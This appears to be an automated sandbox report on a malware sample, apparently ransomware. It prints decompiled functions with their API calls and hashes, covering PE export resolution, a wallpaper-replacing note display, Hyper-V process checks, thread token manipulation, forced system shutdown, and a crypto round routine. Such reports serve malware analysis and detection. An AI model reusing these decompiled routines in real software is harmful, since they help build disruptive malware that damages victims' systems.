            • Opcode Fuzzy Hash: 686d86e41d95af9d861d3ce11e0ec2a5a1a424cbcbf6e346976497257b7d083c
            • Instruction Fuzzy Hash: ECB0123200C6CC778E0536F9AC01C483F4D8A505687B05005FB2C041188C23D1600AE1
            Uniqueness

            Uniqueness Score: -1.00%

            C-Code - Quality: 100%
            			E0136704E(CHAR* _a4, CHAR* _a8) {
            				signed int _v8;
            				intOrPtr _v12;
            				intOrPtr _v16;
            				intOrPtr _v20;
            				intOrPtr* _t31;
            				signed int _t35;
            				void* _t36;
            				int _t39;
            				signed int _t40;
            				char* _t46;
            				void* _t47;
            				void* _t52;
            				intOrPtr _t56;
            				intOrPtr _t61;
            				intOrPtr* _t65;
            				intOrPtr* _t68;
            
            				_t31 = E01367618(_a4); // executed
            				_t68 = _t31;
            				if( *_t68 == 0x5a4d) {
            					_t65 =  *((intOrPtr*)(_t68 + 0x3c)) + _t68;
            					__eflags =  *_t65 - 0x4550;
            					if( *_t65 == 0x4550) {
            						_t52 =  *((intOrPtr*)(_t65 + 0x78)) + _t68;
            						_v20 =  *((intOrPtr*)(_t52 + 0x1c)) + _t68;
            						_t56 =  *((intOrPtr*)(_t52 + 0x20)) + _t68;
            						_t35 = 0;
            						_v12 = _t56;
            						_v8 = 0;
            						__eflags =  *(_t52 + 0x18);
            						if( *(_t52 + 0x18) <= 0) {
            							L7:
            							_t36 = 0;
            							__eflags = 0;
            							L8:
            							L9:
            							return _t36;
            						} else {
            							goto L5;
            						}
            						while(1) {
            							L5:
            							_v16 =  *((intOrPtr*)(_t52 + 0x24)) + _t68;
            							_t39 = lstrcmpA(_a8,  *((intOrPtr*)(_t56 + _t35 * 4)) + _t68); // executed
            							__eflags = _t39;
            							_t40 = _v8;
            							if(_t39 == 0) {
            								break;
            							}
            							_t56 = _v12;
            							_t35 = _t40 + 1;
            							_v8 = _t35;
            							__eflags = _t35 -  *(_t52 + 0x18);
            							if(_t35 <  *(_t52 + 0x18)) {
            								continue;
            							}
            							goto L7;
            						}
            						_t61 =  *((intOrPtr*)(_v20 + ( *(_v16 + _t40 * 2) & 0x0000ffff) * 4));
            						__eflags = _t61 -  *((intOrPtr*)(_t65 + 0x78));
            						if(_t61 <  *((intOrPtr*)(_t65 + 0x78))) {
            							L14:
            							_t36 = _t61 + _t68;
            							goto L8;
            						}
            						__eflags = _t61 -  *((intOrPtr*)(_t65 + 0x7c)) +  *((intOrPtr*)(_t65 + 0x78));
            						if(__eflags >= 0) {
            							goto L14;
            						}
            						_t67 = E0136762D(__eflags, _t61 + _t68);
            						_t46 = E01366501(_t45, 0x2e);
            						_t29 = _t46 + 1; // 0x1
            						 *_t46 = 0;
            						_t47 = E0136704E(_t45, _t29);
            						E01364FA9(_t67);
            						_t36 = _t47;
            						goto L8;
            					}
            					_t36 = 0;
            					goto L9;
            				}
            				return 0;
            			}



















            0x01367058
            0x0136705d
            0x01367068
            0x01367072
            0x01367074
            0x0136707a
            0x01367084
            0x0136708e
            0x01367091
            0x01367093
            0x01367095
            0x01367098
            0x0136709b
            0x0136709e
            0x013670ca
            0x013670ca
            0x013670ca
            0x013670cc
            0x013670cd
            0x00000000
            0x00000000
            0x00000000
            0x00000000
            0x013670a0
            0x013670a0
            0x013670ae
            0x013670b1
            0x013670b7
            0x013670b9
            0x013670bc
            0x00000000
            0x00000000
            0x013670be
            0x013670c1
            0x013670c2
            0x013670c5
            0x013670c8
            0x00000000
            0x00000000
            0x00000000
            0x013670c8
            0x013670dd
            0x013670e0
            0x013670e3
            0x0136711e
            0x0136711e
            0x00000000
            0x0136711e
            0x013670eb
            0x013670ed
            0x00000000
            0x00000000
            0x013670f8
            0x013670fd
            0x01367102
            0x01367105
            0x0136710a
            0x01367112
            0x0136711a
            0x00000000
            0x0136711a
            0x0136707c
            0x00000000
            0x0136707c
            0x00000000

            Memory Dump Source
            • Source File: 00000001.00000002.916068522.0000000001361000.00000020.00020000.sdmp, Offset: 01360000, based on PE: true
            • Associated: 00000001.00000002.916043084.0000000001360000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916127088.000000000136D000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916170442.0000000001370000.00000004.00020000.sdmp Download File
            • Associated: 00000001.00000002.916216880.0000000001373000.00000008.00020000.sdmp Download File
            • Associated: 00000001.00000002.916314805.0000000001380000.00000002.00020000.sdmp Download File
            Yara matches
            Similarity
            • API ID: LibraryLoad
            • String ID:
            • API String ID: 1029625771-0
            • Opcode ID: 008d15139430b77e15b335b809626677f969d953b4ccf0856f768bab20760df6
            • Instruction ID: 108432d9dcb9f705d8eda53178ed8077f81b2a7b555742bd2576140c75f56c27
            • Opcode Fuzzy Hash: 008d15139430b77e15b335b809626677f969d953b4ccf0856f768bab20760df6
            • Instruction Fuzzy Hash: 7031AC74A00109EFCB14DF6CCC81969BBFDEF4830CBA484AAD405D7649EB71E951CBA0
            Uniqueness

            Uniqueness Score: -1.00%

            Non-executed Functions

            C-Code - Quality: 95%
            			E01364CE2() {
            				signed int _v8;
            				int _v12;
            				signed int _v16;
            				struct HDC__* _v20;
            				void* _v24;
            				int _v28;
            				struct HDC__* _v32;
            				int _v36;
            				void* _v40;
            				struct tagRECT _v56;
            				struct HDC__* _t56;
            				int _t59;
            				int _t60;
            				int _t61;
            				void* _t62;
            				int _t67;
            				void* _t68;
            				struct HBRUSH__* _t73;
            				signed int _t77;
            				int _t91;
            				signed int _t92;
            				signed int _t94;
            				signed int _t96;
            				struct HDC__* _t101;
            				struct HDC__* _t102;
            				signed int _t104;
            				signed int _t111;
            				signed int _t112;
            				signed char _t114;
            				int _t121;
            				void* _t123;
            				struct HDC__* _t128;
            				int _t132;
            				int _t133;
            				void* _t134;
            
            				_t56 = GetDC(0);
            				_t101 = _t56;
            				_v32 = _t101;
            				if(_t101 != 0) {
            					_t128 = CreateCompatibleDC(_t101);
            					_v20 = _t128;
            					if(_t128 == 0) {
            						L17:
            						return ReleaseDC(0, _t101);
            					}
            					_t59 = GetDeviceCaps(_t101, 8);
            					_t121 = _t59;
            					_t60 = 0xa;
            					_v28 = _t121;
            					_v16 = _t60;
            					_t61 = GetDeviceCaps(_t101, _t60);
            					_v8 = _t61;
            					_t62 = CreateCompatibleBitmap(_t101, _t121, _t61);
            					_v24 = _t62;
            					if(_t62 == 0) {
            						L16:
            						DeleteDC(_t128);
            						goto L17;
            					}
            					SelectObject(_t128, _t62);
            					_t67 =  ~(MulDiv(0x12, GetDeviceCaps(_t101, 0x5a), 0x48));
            					_v36 = _t67;
            					_t68 = CreateFontW(_t67, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 4, 0, 0);
            					_v40 = _t68;
            					if(_t68 == 0) {
            						L15:
            						DeleteObject(_v24);
            						goto L16;
            					}
            					SelectObject(_t128, _t68);
            					SetBkMode(_t128, 1);
            					SetTextColor(_t128, 0xffffff);
            					_t73 = GetStockObject(2);
            					_v56.left = _v56.left & 0x00000000;
            					_v56.top = _v56.top & 0x00000000;
            					_v56.right = _t121;
            					_v56.bottom = _v8;
            					FillRect(_t128,  &_v56, _t73);
            					_t104 = _v8;
            					_t77 = _t104 * _t121;
            					asm("cdq");
            					_t114 = _t77 % _v16;
            					if(_t77 / _v16 <= 0) {
            						L12:
            						asm("cdq");
            						asm("cdq");
            						_v56.top = (_v56.bottom - _t114 >> 1) - (_v8 - _t114 >> 1) - _v36;
            						DrawTextW(_t128,  *0x1372424, 0xffffffff,  &_v56, 0x11);
            						_t123 = E01364BDD(_t114, _t144);
            						if(_t123 != 0) {
            							E01364A28(_t114, _v24, _t101, _t123);
            							SystemParametersInfoW(0x14, 0, _t123, 3);
            							E01364FA9(_t123);
            						}
            						DeleteObject(_v40);
            						goto L15;
            					}
            					_t91 = 0;
            					_v12 = 0;
            					if(_t121 <= 0) {
            						goto L12;
            					}
            					_t102 = _t128;
            					do {
            						_v16 = _v16 & 0x00000000;
            						if(_t104 <= 0) {
            							goto L10;
            						} else {
            							goto L8;
            						}
            						do {
            							L8:
            							_t92 = E013659B1(_t114, 0, 0xffffffff);
            							_t94 = E013659B1(_t92 % 0xc8, 0, 0xffffffff);
            							_t111 = 0x1e;
            							_t96 = E013659B1(_t94 % _t111, 0, 0xffffffff);
            							_t134 = _t134 + 0x18;
            							_t132 = _v16;
            							_t112 = 0x1e;
            							_t114 = _t96 % _t112;
            							SetPixel(_t102, _v12, _t132, _t114 & 0x000000ff | (_t94 % _t111 & 0x000000ff | (_t92 % 0x000000c8 & 0x000000ff) << 0x00000008) << 0x00000008);
            							_t104 = _v8;
            							_t133 = _t132 + 1;
            							_v16 = _t133;
            						} while (_t133 < _t104);
            						_t121 = _v28;
            						_t91 = _v12;
            						L10:
            						_t91 = _t91 + 1;
            						_v12 = _t91;
            						_t144 = _t91 - _t121;
            					} while (_t91 < _t121);
            					_t101 = _v32;
            					_t128 = _v20;
            					goto L12;
            				}
            				return _t56;
            			}






































            0x01364ceb
            0x01364cf1
            0x01364cf3
            0x01364cf8
            0x01364d06
            0x01364d08
            0x01364d0d
            0x01364ee3
            0x00000000
            0x01364eec
            0x01364d17
            0x01364d1f
            0x01364d21
            0x01364d24
            0x01364d27
            0x01364d2a
            0x01364d33
            0x01364d36
            0x01364d3c
            0x01364d41
            0x01364edb
            0x01364edc
            0x00000000
            0x01364ee2
            0x01364d49
            0x01364d65
            0x01364d77
            0x01364d7a
            0x01364d80
            0x01364d85
            0x01364ed2
            0x01364ed5
            0x00000000
            0x01364ed5
            0x01364d8d
            0x01364d96
            0x01364da2
            0x01364daa
            0x01364db3
            0x01364db7
            0x01364dbf
            0x01364dc4
            0x01364dc7
            0x01364dcd
            0x01364dd2
            0x01364dd5
            0x01364dd6
            0x01364ddb
            0x01364e6e
            0x01364e71
            0x01364e79
            0x01364e93
            0x01364e97
            0x01364ea2
            0x01364ea6
            0x01364ead
            0x01364ebc
            0x01364ec3
            0x01364ec8
            0x01364ecc
            0x00000000
            0x01364ecc
            0x01364de1
            0x01364de3
            0x01364de8
            0x00000000
            0x00000000
            0x01364dee
            0x01364df0
            0x01364df0
            0x01364df6
            0x00000000
            0x00000000
            0x00000000
            0x00000000
            0x01364df8
            0x01364df8
            0x01364dfc
            0x01364e14
            0x01364e1b
            0x01364e2c
            0x01364e31
            0x01364e34
            0x01364e3b
            0x01364e3c
            0x01364e49
            0x01364e4f
            0x01364e52
            0x01364e53
            0x01364e56
            0x01364e5a
            0x01364e5d
            0x01364e60
            0x01364e60
            0x01364e61
            0x01364e64
            0x01364e64
            0x01364e68
            0x01364e6b
            0x00000000
            0x01364e6b
            0x01364ef1

            APIs
            • GetDC.USER32(00000000), ref: 01364CEB
            • CreateCompatibleDC.GDI32(00000000), ref: 01364D00
            • GetDeviceCaps.GDI32(00000000,00000008), ref: 01364D17
            • GetDeviceCaps.GDI32(00000000,0000000A), ref: 01364D2A
            • CreateCompatibleBitmap.GDI32(00000000,00000000,00000000), ref: 01364D36
            • SelectObject.GDI32(00000000,00000000), ref: 01364D49
            • GetDeviceCaps.GDI32(00000000,0000005A), ref: 01364D52
            • MulDiv.KERNEL32(00000012,00000000,00000048), ref: 01364D5D
            • CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00000000,00000004,00000000,00000000), ref: 01364D7A
            • SelectObject.GDI32(00000000,00000000), ref: 01364D8D
            • SetBkMode.GDI32(00000000,00000001), ref: 01364D96
            • SetTextColor.GDI32(00000000,00FFFFFF), ref: 01364DA2
            • GetStockObject.GDI32(00000002), ref: 01364DAA
            • FillRect.USER32(00000000,00000000,00000000), ref: 01364DC7
            • SetPixel.GDI32(00000000,?,00000000,00000000), ref: 01364E49
            • DrawTextW.USER32(00000000,000000FF,00000000,00000011,?), ref: 01364E97
            • SystemParametersInfoW.USER32(00000014,00000000,00000000,00000003), ref: 01364EBC
            • DeleteObject.GDI32(?), ref: 01364ECC
            • DeleteObject.GDI32(?), ref: 01364ED5
            • DeleteDC.GDI32(00000000), ref: 01364EDC
            • ReleaseDC.USER32(00000000,00000000), ref: 01364EE6
            Memory Dump Source
            • Source File: 00000001.00000002.916068522.0000000001361000.00000020.00020000.sdmp, Offset: 01360000, based on PE: true
            • Associated: 00000001.00000002.916043084.0000000001360000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916127088.000000000136D000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916170442.0000000001370000.00000004.00020000.sdmp Download File
            • Associated: 00000001.00000002.916216880.0000000001373000.00000008.00020000.sdmp Download File
            • Associated: 00000001.00000002.916314805.0000000001380000.00000002.00020000.sdmp Download File
            Yara matches
            Similarity
            • API ID: Object$CapsCreateDeleteDevice$CompatibleSelectText$BitmapColorDrawFillFontInfoModeParametersPixelRectReleaseStockSystem
            • String ID:
            • API String ID: 830383330-0
            • Opcode ID: 807ddaf79243638f83ff8f9f54cc9458398307f3ff7b2326dba2a84866a6de79
            • Instruction ID: 87883599e9f7975860bc784f5deb9564bcb7fb742feee84a8425e7432b4de98a
            • Opcode Fuzzy Hash: 807ddaf79243638f83ff8f9f54cc9458398307f3ff7b2326dba2a84866a6de79
            • Instruction Fuzzy Hash: 49519372E00219BFEB249FA9DC49FAF7ABDEF48721F144119FA15E62C4DB7059008B60
            Uniqueness

            Uniqueness Score: -1.00%

            C-Code - Quality: 36%
            			E01365115(long _a4) {
            				char _v8;
            				WCHAR* _t4;
            				void* _t6;
            				signed int _t15;
            				void* _t31;
            
            				_t4 =  *0x1371f7c; // 0x0
            				_v8 = 0x800;
            				_push(0x800);
            				if(_t4 != 0) {
            					_push(0);
            					_push(_t4);
            					E01364FE3();
            				} else {
            					 *0x1371f7c = E01364F5C();
            				}
            				_t6 = OpenProcess(0x1000, 0, _a4);
            				_t31 = _t6;
            				if(_t31 != 0) {
            					 *0x1371668(_t31, 0,  *0x1371f7c,  &_v8);
            					E013651FE(_t31);
            					_t33 = PathFindFileNameW( *0x1371f7c);
            					if(E01366561(_t10, L"vmcompute.exe") != 0) {
            						if(E01366561(_t33, L"vmms.exe") == 0 || E01366561(_t33, L"vmwp.exe") == 0) {
            							goto L5;
            						} else {
            							_t15 = E01366561(_t33, L"svchost.exe");
            							asm("sbb eax, eax");
            							_t6 =  ~_t15 + 1;
            						}
            					} else {
            						L5:
            						_t6 = 1;
            					}
            				}
            				return _t6;
            			}








            0x01365119
            0x01365123
            0x01365126
            0x01365129
            0x01365138
            0x0136513a
            0x0136513b
            0x0136512b
            0x01365131
            0x01365131
            0x0136514e
            0x01365154
            0x01365158
            0x01365167
            0x0136516e
            0x01365180
            0x01365191
            0x013651a7
            0x00000000
            0x013651ba
            0x013651c0
            0x013651c8
            0x013651cb
            0x013651cb
            0x01365193
            0x01365193
            0x01365195
            0x01365195
            0x01365191
            0x013651d0

            APIs
            • OpenProcess.KERNEL32(00001000,00000000,01365F3D,?,?,01365F3D,?), ref: 0136514E
            • QueryFullProcessImageNameW.KERNEL32(00000000,00000000,?,?,01365F3D,?), ref: 01365167
            • PathFindFileNameW.SHLWAPI(?,01365F3D,?), ref: 0136517A
              • Part of subcall function 01364F5C: HeapCreate.KERNELBASE(00000000,00400000,00000000,?,01361548), ref: 01364F71
              • Part of subcall function 01364F5C: GetProcessHeap.KERNEL32(?,01361548), ref: 01364F80
            Strings
            Memory Dump Source
            • Source File: 00000001.00000002.916068522.0000000001361000.00000020.00020000.sdmp, Offset: 01360000, based on PE: true
            • Associated: 00000001.00000002.916043084.0000000001360000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916127088.000000000136D000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916170442.0000000001370000.00000004.00020000.sdmp Download File
            • Associated: 00000001.00000002.916216880.0000000001373000.00000008.00020000.sdmp Download File
            • Associated: 00000001.00000002.916314805.0000000001380000.00000002.00020000.sdmp Download File
            Yara matches
            Similarity
            • API ID: Process$HeapName$CreateFileFindFullImageOpenPathQuery
            • String ID: svchost.exe$vmcompute.exe$vmms.exe$vmwp.exe
            • API String ID: 2112901129-1116827676
            • Opcode ID: 10229e4fe8fff47bfc79942edd60a3450913403e5eefecd3ca43d9bd8d97638d
            • Instruction ID: 668296e6e93eedebb3ce5a2576741e8672756ad539341fa73dc1e95ec803e7dd
            • Opcode Fuzzy Hash: 10229e4fe8fff47bfc79942edd60a3450913403e5eefecd3ca43d9bd8d97638d
            • Instruction Fuzzy Hash: A811E337654217FAEA3567BCAC03F6A379C8B166B8F10812AF905D518CEF51960186A4
            Uniqueness

            Uniqueness Score: -1.00%

            C-Code - Quality: 100%
            			E01367C40(void* __ebx, void* _a4) {
            				void* _v8;
            				long _v12;
            				intOrPtr _v28;
            				long _v32;
            				void* _v40;
            				long _t19;
            				int _t21;
            				void* _t22;
            				long _t27;
            				void* _t31;
            				int _t32;
            
            				_t32 = 0;
            				_t31 = CreateToolhelp32Snapshot(4, 0);
            				_v40 = 0x1c;
            				if(Thread32First(_t31,  &_v40) == 0) {
            					L8:
            					E013651FE(_t31);
            					return _t32;
            				}
            				_t27 = GetCurrentProcessId();
            				_t19 = GetCurrentThreadId();
            				_v12 = _t19;
            				do {
            					if(_v28 == _t27 && _v32 != _t19) {
            						_t22 = OpenThread(0x80, _t32, _v32);
            						_v8 = _t22;
            						if(_t22 != 0) {
            							SetThreadToken( &_v8, _a4);
            							E013651FE(_v8);
            						}
            					}
            					_t21 = Thread32Next(_t31,  &_v40);
            					_t19 = _v12;
            				} while (_t21 != 0);
            				_t32 = 1;
            				goto L8;
            			}














            0x01367c48
            0x01367c53
            0x01367c55
            0x01367c69
            0x01367cc7
            0x01367cc8
            0x01367cd5
            0x01367cd5
            0x01367c71
            0x01367c73
            0x01367c78
            0x01367c7b
            0x01367c7e
            0x01367c8e
            0x01367c94
            0x01367c99
            0x01367ca2
            0x01367cab
            0x01367cb0
            0x01367c99
            0x01367cb6
            0x01367cbe
            0x01367cbe
            0x01367cc5
            0x00000000

            APIs
            • CreateToolhelp32Snapshot.KERNEL32(00000004,00000000), ref: 01367C4D
            • Thread32First.KERNEL32(00000000,0000001C), ref: 01367C61
            • GetCurrentProcessId.KERNEL32(00000000), ref: 01367C6C
            • GetCurrentThreadId.KERNEL32 ref: 01367C73
            • OpenThread.KERNEL32(00000080,00000000,?,00000000), ref: 01367C8E
            • SetThreadToken.ADVAPI32(?,?), ref: 01367CA2
              • Part of subcall function 013651FE: CloseHandle.KERNEL32(00000000,?,01367B64,00000000,?,01367BC3,?,00000000,?,01363793,?,00000000,00000000,01363928,00000000), ref: 0136520A
            • Thread32Next.KERNEL32(00000000,0000001C), ref: 01367CB6
            Memory Dump Source
            • Source File: 00000001.00000002.916068522.0000000001361000.00000020.00020000.sdmp, Offset: 01360000, based on PE: true
            • Associated: 00000001.00000002.916043084.0000000001360000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916127088.000000000136D000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916170442.0000000001370000.00000004.00020000.sdmp Download File
            • Associated: 00000001.00000002.916216880.0000000001373000.00000008.00020000.sdmp Download File
            • Associated: 00000001.00000002.916314805.0000000001380000.00000002.00020000.sdmp Download File
            Yara matches
            Similarity
            • API ID: Thread$CurrentThread32$CloseCreateFirstHandleNextOpenProcessSnapshotTokenToolhelp32
            • String ID:
            • API String ID: 3961639229-0
            • Opcode ID: 19be3a6e956a5410aea85addd5f47ce4dd9d72667631138f8f1a360086ddfcce
            • Instruction ID: 148fbb5df4171a0af3960239973cdb21ec109449cff4b4894780f84854b35790
            • Opcode Fuzzy Hash: 19be3a6e956a5410aea85addd5f47ce4dd9d72667631138f8f1a360086ddfcce
            • Instruction Fuzzy Hash: 78116972900219EBDF21AFE999489EEBFBCEF09799F104065F905E3148DB34D941DBA0
            Uniqueness

            Uniqueness Score: -1.00%

            APIs
            • CryptBinaryToStringW.CRYPT32(00000000,00000000,40000000,00000000,01361972), ref: 0136617B
              • Part of subcall function 01364F5C: HeapCreate.KERNELBASE(00000000,00400000,00000000,?,01361548), ref: 01364F71
              • Part of subcall function 01364F5C: GetProcessHeap.KERNEL32(?,01361548), ref: 01364F80
            • CryptBinaryToStringW.CRYPT32(00000000,00000000,40000000,00000000,01361972), ref: 013661A4
            Memory Dump Source
            • Source File: 00000001.00000002.916068522.0000000001361000.00000020.00020000.sdmp, Offset: 01360000, based on PE: true
            • Associated: 00000001.00000002.916043084.0000000001360000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916127088.000000000136D000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916170442.0000000001370000.00000004.00020000.sdmp Download File
            • Associated: 00000001.00000002.916216880.0000000001373000.00000008.00020000.sdmp Download File
            • Associated: 00000001.00000002.916314805.0000000001380000.00000002.00020000.sdmp Download File
            Yara matches
            Similarity
            • API ID: BinaryCryptHeapString$CreateProcess
            • String ID:
            • API String ID: 869147093-0
            • Opcode ID: 3ce90d75ded8c57991f72bd90767be7cbb1c20f7af16d916170cb6f7808ed8b4
            • Instruction ID: 5dc513c9594a1732827b4e05d6a4621e1d8171b4fe0517ca309f4e48e546c6f7
            • Opcode Fuzzy Hash: 3ce90d75ded8c57991f72bd90767be7cbb1c20f7af16d916170cb6f7808ed8b4
            • Instruction Fuzzy Hash: D2F01273600259BBDF219FAADC08EAB3BADEF85AA5F048439FD19D7114D731C91187A0
            Uniqueness

            Uniqueness Score: -1.00%

            C-Code - Quality: 58%
            			E01365A70(void* __ecx, void* __eflags, intOrPtr _a4) {
            				void* _t2;
            
            				_t2 = E0136789E(__ecx, 0x13);
            				if(_t2 == 0) {
            					return _t2;
            				} else {
            					if(_a4 == 0) {
            						return ExitWindowsEx(0x12, 0x10000);
            					}
            					return  *0x1371440(1);
            				}
            			}




            0x01365a75
            0x01365a7d
            0x01365a9d
            0x01365a7f
            0x01365a83
            0x00000000
            0x01365a96
            0x01365a8e
            0x01365a8e

            APIs
              • Part of subcall function 0136789E: RtlAdjustPrivilege.NTDLL(?,00000001,00000001,?), ref: 013678B1
              • Part of subcall function 0136789E: RtlAdjustPrivilege.NTDLL(?,00000001,00000000,00000000), ref: 013678CD
            • NtShutdownSystem.NTDLL(00000001), ref: 01365A87
            • ExitWindowsEx.USER32(00000012,00010000), ref: 01365A96
            Memory Dump Source
            • Source File: 00000001.00000002.916068522.0000000001361000.00000020.00020000.sdmp, Offset: 01360000, based on PE: true
            • Associated: 00000001.00000002.916043084.0000000001360000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916127088.000000000136D000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916170442.0000000001370000.00000004.00020000.sdmp Download File
            • Associated: 00000001.00000002.916216880.0000000001373000.00000008.00020000.sdmp Download File
            • Associated: 00000001.00000002.916314805.0000000001380000.00000002.00020000.sdmp Download File
            Yara matches
            Similarity
            • API ID: AdjustPrivilege$ExitShutdownSystemWindows
            • String ID:
            • API String ID: 698229158-0
            • Opcode ID: 7958ba54c6ab678d7672b98564cf90671c81dbcd819b19cac527acbcba239695
            • Instruction ID: b16e345609d52c66cf0653b0fcd01841df502bb7266f6cd1e2b9a11c2b7f7471
            • Opcode Fuzzy Hash: 7958ba54c6ab678d7672b98564cf90671c81dbcd819b19cac527acbcba239695
            • Instruction Fuzzy Hash: 5CD0A73218030EAAFB31169CE81A7EC3F1C970079DF108035F70D490C88BE18090D252
            Uniqueness

            Uniqueness Score: -1.00%

            C-Code - Quality: 100%
            			E0136B3AE(signed int* _a4) {
            				signed int _v8;
            				signed int _v12;
            				signed int _v16;
            				signed int _v20;
            				signed int _v24;
            				signed int _v28;
            				signed int _v32;
            				signed int _v36;
            				signed int _v40;
            				signed int* _v44;
            				signed int _t706;
            				signed int _t722;
            				signed int _t736;
            				signed int _t768;
            				signed int* _t836;
            				signed int* _t863;
            				signed int* _t890;
            				signed int* _t917;
            				signed int* _t944;
            				signed int _t969;
            				signed int* _t985;
            				unsigned int _t986;
            				signed int _t988;
            				signed int* _t989;
            				signed int _t990;
            				signed int _t991;
            				signed int _t993;
            				signed int _t995;
            				signed int _t997;
            				signed int _t999;
            				signed int _t1001;
            				signed int _t1003;
            				signed int _t1005;
            				signed int _t1007;
            				signed int _t1009;
            				signed int _t1011;
            				signed int _t1013;
            				signed int* _t1016;
            				signed int* _t1018;
            				signed int* _t1020;
            				signed int* _t1022;
            				signed int* _t1024;
            				signed int _t1034;
            				signed int* _t1050;
            				unsigned int _t1051;
            				signed int* _t1066;
            				signed int _t1067;
            				signed int* _t1084;
            				signed int* _t1099;
            				unsigned int _t1100;
            				signed int* _t1116;
            				signed int _t1189;
            				signed int _t1211;
            				signed int _t1233;
            				signed int _t1255;
            				signed int _t1277;
            				signed int* _t1299;
            				signed int* _t1300;
            				signed int _t1312;
            				signed int _t1316;
            				signed int _t1319;
            				signed int _t1323;
            				signed int _t1327;
            				signed int _t1330;
            				signed int _t1332;
            				signed int* _t1334;
            				signed int _t1335;
            				signed int* _t1337;
            				signed int _t1338;
            				signed int* _t1340;
            				signed int _t1341;
            				signed int* _t1343;
            				signed int _t1344;
            				signed int* _t1346;
            				signed int _t1347;
            				signed int* _t1349;
            				signed int _t1350;
            				signed int* _t1352;
            				signed int _t1353;
            				signed int* _t1355;
            				unsigned int _t1356;
            				signed int* _t1358;
            				unsigned int _t1359;
            				signed int _t1361;
            				signed int* _t1363;
            				unsigned int _t1364;
            				signed int _t1366;
            				signed int* _t1367;
            				signed int _t1368;
            				signed int* _t1369;
            				signed int _t1370;
            				signed int* _t1371;
            				signed int _t1372;
            				signed int* _t1373;
            				signed int _t1374;
            				signed int* _t1375;
            				signed int _t1380;
            				signed int* _t1382;
            				unsigned int _t1383;
            				signed int _t1385;
            				signed int _t1387;
            				signed int _t1389;
            				signed int _t1391;
            				signed int _t1393;
            				signed int _t1395;
            				signed int _t1397;
            				signed int _t1399;
            				signed int _t1401;
            				signed int* _t1403;
            				signed int _t1404;
            				intOrPtr* _t1406;
            				signed int _t1407;
            				signed int* _t1408;
            				signed int _t1409;
            				signed int* _t1410;
            				signed int _t1411;
            				signed int* _t1412;
            				signed int _t1413;
            				signed int* _t1414;
            				signed int _t1415;
            				signed int* _t1416;
            				signed int _t1419;
            				signed int _t1424;
            				signed int _t1428;
            				signed int _t1433;
            				signed int _t1438;
            				signed int _t1441;
            				signed int* _t1443;
            				signed int _t1444;
            				signed int* _t1446;
            				signed int _t1447;
            				signed int* _t1449;
            				signed int _t1450;
            				signed int* _t1452;
            				signed int _t1453;
            				signed int* _t1455;
            				signed int _t1456;
            				signed int* _t1458;
            				signed int _t1459;
            				signed int* _t1461;
            				signed int _t1462;
            				signed int* _t1464;
            				signed int _t1465;
            				signed int* _t1467;
            				signed int _t1468;
            				signed int _t1470;
            				signed int _t1472;
            				signed int _t1474;
            				signed int _t1475;
            				signed int _t1476;
            				signed int _t1477;
            				signed int _t1478;
            
            				_t1416 = _a4;
            				_v44 = 0x136fc60;
            				do {
            					_t3 =  &(_t1416[4]); // 0xff348d8d
            					_t4 =  &(_t1416[0xe]); // 0x1174ff85
            					_t5 =  &(_t1416[0x18]); // 0x5fffc883
            					_t6 =  &(_t1416[0x22]); // 0x88
            					_t7 =  &(_t1416[0x2c]); // 0xa48e
            					_t8 =  &(_t1416[0xa]); // 0x3e
            					_t9 =  &(_t1416[0x14]); // 0xffff34bd
            					_t10 =  &(_t1416[0x1e]); // 0x36fc60d8
            					_t11 =  &(_t1416[0x28]); // 0x8b000000
            					_t12 =  &(_t1416[1]); // 0x3b590845
            					_t13 =  &(_t1416[0xb]); // 0x308458b
            					_t14 =  &(_t1416[0x15]); // 0xc8b9ff
            					_t15 =  &(_t1416[0x1f]); // 0x105e8b01
            					_t16 =  &(_t1416[0x29]); // 0x4e33044e
            					_t17 =  &(_t1416[5]); // 0x5051ffff
            					_t18 =  &(_t1416[0xf]); // 0x34958d57
            					_t19 =  &(_t1416[0x19]); // 0xe58b5b5e
            					_t20 =  &(_t1416[0x23]); // 0xb09e33
            					_t21 =  &(_t1416[0x2d]); // 0x14568b00
            					_t22 =  &(_t1416[8]); // 0xff34858d
            					_t23 =  &(_t1416[0x12]); // 0xc483ffff
            					_t24 =  &(_t1416[0x1c]); // 0x758b5653
            					_t25 =  &(_t1416[0x26]); // 0x46335046
            					_t26 =  &(_t1416[0x30]); // 0x8c
            					_t1380 =  *_t22 ^  *_t23 ^  *_t24 ^  *_t25 ^  *_t26;
            					_v12 =  *_t3 ^  *_t4 ^  *_t5 ^  *_t6 ^  *_t7;
            					_t28 =  &(_t1416[6]); // 0xff9c5de8
            					_t29 =  &(_t1416[0x10]); // 0x52ffffff
            					_t30 =  &(_t1416[0x1a]); // 0x8b55c35d
            					_t31 =  &(_t1416[0x24]); // 0x68b0000
            					_t32 =  &(_t1416[0x2e]); // 0x333c5633
            					_v20 =  *_t1416 ^  *_t8 ^  *_t9 ^  *_t10 ^  *_t11;
            					_t34 =  &(_t1416[2]); // 0x852d72fe
            					_t35 =  &(_t1416[0xc]); // 0x89fe2bc6
            					_t36 =  &(_t1416[0x16]); // 0xaaf30000
            					_t37 =  &(_t1416[0x20]); // 0x33385e33
            					_t38 =  &(_t1416[0x2a]); // 0x544e332c
            					_t706 =  *_t34 ^  *_t35 ^  *_t36 ^  *_t37 ^  *_t38;
            					_v16 =  *_t12 ^  *_t13 ^  *_t14 ^  *_t15 ^  *_t16;
            					_t40 =  &(_t1416[3]); // 0x561174f6
            					_t41 =  &(_t1416[0xd]); // 0xceeb0845
            					_t42 =  &(_t1416[0x17]); // 0x3ebc033
            					_t43 =  &(_t1416[0x21]); // 0x9e33605e
            					_t44 =  &(_t1416[0x2b]); // 0x337c4e33
